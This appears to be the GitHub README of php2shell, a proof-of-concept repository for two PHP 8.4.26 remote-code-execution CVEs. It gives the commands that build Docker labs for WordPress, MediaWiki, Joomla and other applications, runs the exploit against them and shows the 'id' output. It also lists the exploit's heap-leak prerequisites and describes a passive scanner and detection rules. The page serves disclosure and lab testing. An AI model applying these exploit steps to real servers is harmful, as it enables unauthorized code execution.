Skip to content
dimasma0305Public

About

Reproducible PHP request-state RCE labs and self-checking PoC

Resources

Stars

58 stars

Watchers

1 watching

Forks

Repository files navigation

php2shell

Disclaimer

Use this repository only with the included local labs or another system you are explicitly authorized to test. The exploit client accepts only the loopback lab targets documented below; use the passive scanner only on assets you are authorized to assess. Read AUTHORIZED_USE.md before use.

php2shell is a reproducible proof of concept for CVE-2026-109618 and CVE-2026-109619. On the verified PHP 8.4.26 Apache layout, it leaks the Zend MM heap and loaded libphp bases. An RCE result is accepted only when the exploit executes id and retrieves fresh output containing both uid= and gid=.

Verified PoC

Live WordPress PoC with id output

Safe Multi-Asset Scan

Live passive scan of every included lab

The scanner correlates bounded HEAD/GET results, exact runtime identity, application fingerprints, session cookies, and visible upload surfaces. It does not invoke the PoC, upload a payload, write a remote file, or test RCE/DoS.

Defender detection

The experimental defender package and live lab controls contain a PoC-specific Suricata indicator and a PHP startup-OOM worker-sequence candidate. The latter matched one affected lab run and stayed negative on the same-input patched control. Neither alert alone proves RCE; the separate PoC output supplies that proof.

Quick Start

git clone https://github.com/dimasma0305/php2shell.git
cd php2shell

docker compose -f lab/8.4.26/wordpress/compose.yaml up -d --build
python3 -u poc.py --url http://127.0.0.1:18173/

On Windows, run python poc.py --url http://127.0.0.1:18173/.

A successful run ends with fresh target output:

PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Each lab section below has its own VHS recording of the displayed poc.py command and its output against that running lab. The Docker setup and teardown commands are operator steps outside the recording.

Stop the lab when finished:

docker compose -f lab/8.4.26/wordpress/compose.yaml down -v

Safe Multi-Asset Scanner

Start the included labs, place one authorized HTTP(S) URL per line in assets.txt, then run:

docker compose -f compose.scan.yaml up -d --build
python scan.py --assets assets.txt
docker compose -f compose.scan.yaml down -v

STATUS is based only on an exact disclosed PHP version. EXPOSURE and SIGNALS separately report PHP/application fingerprints and visible session or upload prerequisites; they never upgrade an asset to vulnerable. Use --format jsonl for the complete, untruncated signal list. VHS tape · MP4 · Raw terminal output · Validation record

Labs

Every linked lab has retained output. The status describes only the exact application, PHP build, and proof level in that row.

PHP Lab Status Live VHS Output
8.4.26 WordPress RCE verified Watch Fresh output
8.4.26 MediaWiki RCE verified Watch Fresh output
8.4.26 DokuWiki RCE verified twice Watch Fresh output
8.4.26 Joomla RCE verified twice Watch Fresh output
8.4.26 PHP/Apache RCE verified Watch Fresh output
8.4.26 CodeIgniter RCE verified Watch Fresh id output

WordPress

The main fixture uses WordPress commit fc9832bef919c2a08541248db23af90d14ffb082 with a deterministic MariaDB seed.

docker compose -f lab/8.4.26/wordpress/compose.yaml up -d --build
python3 -u poc.py --url http://127.0.0.1:18173/
docker compose -f lab/8.4.26/wordpress/compose.yaml down -v

Live WordPress PoC and id output

VHS tape · MP4 · output from this take · earlier proof

MediaWiki

This fixture exercises the ordinary Scribunto route and writes its proof under MediaWiki's default writable images/ directory.

docker build -t php2shell-mediawiki lab/8.4.26/mediawiki
docker run --rm -d --name php2shell-mediawiki -p 127.0.0.1:18081:80 php2shell-mediawiki
python3 -u poc.py --url http://127.0.0.1:18081/
docker rm -f php2shell-mediawiki

Live MediaWiki PoC and id output

VHS tape · MP4 · output from this take · earlier proof

DokuWiki

This fixture uses the unmodified DokuWiki 2026-07-14c application files on the affected PHP runtime.

docker build -t php2shell-dokuwiki lab/8.4.26/dokuwiki
docker run --rm -d --name php2shell-dokuwiki -p 127.0.0.1:18083:80 php2shell-dokuwiki
python3 -u poc.py --url http://127.0.0.1:18083/
docker rm -f php2shell-dokuwiki

Live DokuWiki PoC and id output

VHS tape · MP4 · output from this take · earlier runs, run 2

Joomla

This fixture serves the ordinary Joomla 6.1.4 installer route on the affected PHP runtime.

docker build -t php2shell-joomla lab/8.4.26/joomla
docker run --rm -d --name php2shell-joomla -p 127.0.0.1:18086:80 php2shell-joomla
python3 -u poc.py --url http://127.0.0.1:18086/ --skip-warmup
docker rm -f php2shell-joomla

Live Joomla PoC and id output

VHS tape · MP4 · output from this take · earlier runs, run 2

PHP/Apache

The smallest fixture is a plain PHP endpoint without a framework or an application-level session_start() call.

docker build -t php2shell-php-apache lab/8.4.26/php-apache
docker run --rm -d --name php2shell-php-apache -p 127.0.0.1:18082:80 php2shell-php-apache
python3 -u poc.py --url http://127.0.0.1:18082/
docker rm -f php2shell-php-apache

Live PHP Apache PoC and id output

VHS tape · MP4 · output from this take · earlier proof

CodeIgniter

This fixture uses CodeIgniter appstarter 4.7.4 with framework 4.7.5. Its default application has no suitable web-readable writable directory. The PoC executes id and POSTs its stdout to its own listener through the lab's short Docker network alias x. No target-side proof script is installed.

docker compose -f lab/8.4.26/codeigniter/compose.yaml up -d --build
docker build -f docs/demo/recorder.Dockerfile -t php2shell-vhs-recorder docs/demo
docker run --rm --network codeigniter_default --network-alias x \
  -v "$PWD:/vhs" -w /vhs --entrypoint sh php2shell-vhs-recorder \
  -lc 'socat TCP-LISTEN:18087,bind=127.0.0.1,reuseaddr,fork TCP:codeigniter:80 >/tmp/proxy.log 2>&1 & exec python3 -u poc.py --url http://127.0.0.1:18087/ --retries 1'
docker compose -f lab/8.4.26/codeigniter/compose.yaml down -v

The PoC command inside the attacker container is python3 -u poc.py --url http://127.0.0.1:18087/ --retries 1. It requires the x alias to resolve to that container. A successful run prints fresh uid= and gid= output. Restart the lab with a new Apache master if heap leakage fails; the layout is sensitive to ASLR and allocator state. A failed fresh run shows that pre-execution failure mode.

Record another live run after starting the real lab:

docker compose -f lab/8.4.26/codeigniter/compose.yaml up -d --build
docker build -f docs/demo/recorder.Dockerfile -t php2shell-vhs-recorder docs/demo
docker run --rm --network codeigniter_default --network-alias x \
  -v "$PWD:/vhs" -w /vhs php2shell-vhs-recorder docs/demo/codeigniter-live.tape
docker compose -f lab/8.4.26/codeigniter/compose.yaml down -v

Live CodeIgniter PoC with id output

VHS tape · MP4 · raw output · fresh run 1 · fresh run 2 · fixed-build control

The video records the public PoC against the running lab in the same take.

Requirement of the Exploit

  • Docker with Compose support and Python 3.11 or newer.
  • The exact unpatched PHP 8.4.26 Apache x86-64 build represented by the included profile. A matching version header alone is insufficient.
  • Apache prefork with mod_php, persistent keep-alive request handling, and Session upload progress enabled.
  • Multipart request streaming that reaches PHP without a proxy or WAF buffering, rejecting, truncating, or rewriting it.
  • A matching application heap layout and fresh runtime leaks for the Zend MM heap and libphp bases.
  • Enough accepted request size and memory for the roughly 140 MiB calibrated request.
  • An attacker-visible route that returns the fresh stdout of id, including both uid= and gid=. A callback path by itself is insufficient for the RCE verified label.

Unknown profiles fail closed. PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12 contain the upstream fixes and are not supported targets.

Useful profile checks:

./poc.py --list-builds
./poc.py --list-profiles
python3 -u poc.py --url http://127.0.0.1:18173/ --check-profile

Scanner Limitations

  • The scanner can assess only an exact PHP version naturally disclosed in an trusted identity header or structured diagnostic response. A hidden version remains unknown; ordinary body text that mentions a version is ignored.
  • A reported affected version is version triage, not proof that the vulnerable request path, SAPI, heap layout, or RCE prerequisites are present.
  • A reported patched version covers these two CVEs only; it is not a general security assessment of the application.
  • Missing session/upload signals mean only that the requested page did not expose them; absence is not proof that another route lacks the prerequisite.
  • Redirects are not followed, response bodies are capped at 64 KiB, and TLS certificate verification stays enabled.

Reference

About

Reproducible PHP request-state RCE labs and self-checking PoC

Resources

Stars

58 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages